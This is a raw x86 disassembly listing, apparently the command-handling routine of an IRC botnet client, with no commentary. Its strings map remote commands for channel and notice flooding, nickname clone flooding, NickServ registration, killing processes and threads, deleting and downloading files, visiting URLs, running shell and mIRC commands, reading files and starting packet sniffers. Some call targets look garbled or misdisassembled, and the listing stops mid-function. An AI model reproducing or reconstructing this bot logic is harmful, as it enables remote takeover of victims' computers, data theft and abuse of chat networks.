		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC00
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		nop
		call	near ptr 268083Ah
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB60
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB48
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 268083Ah
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA48
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B820
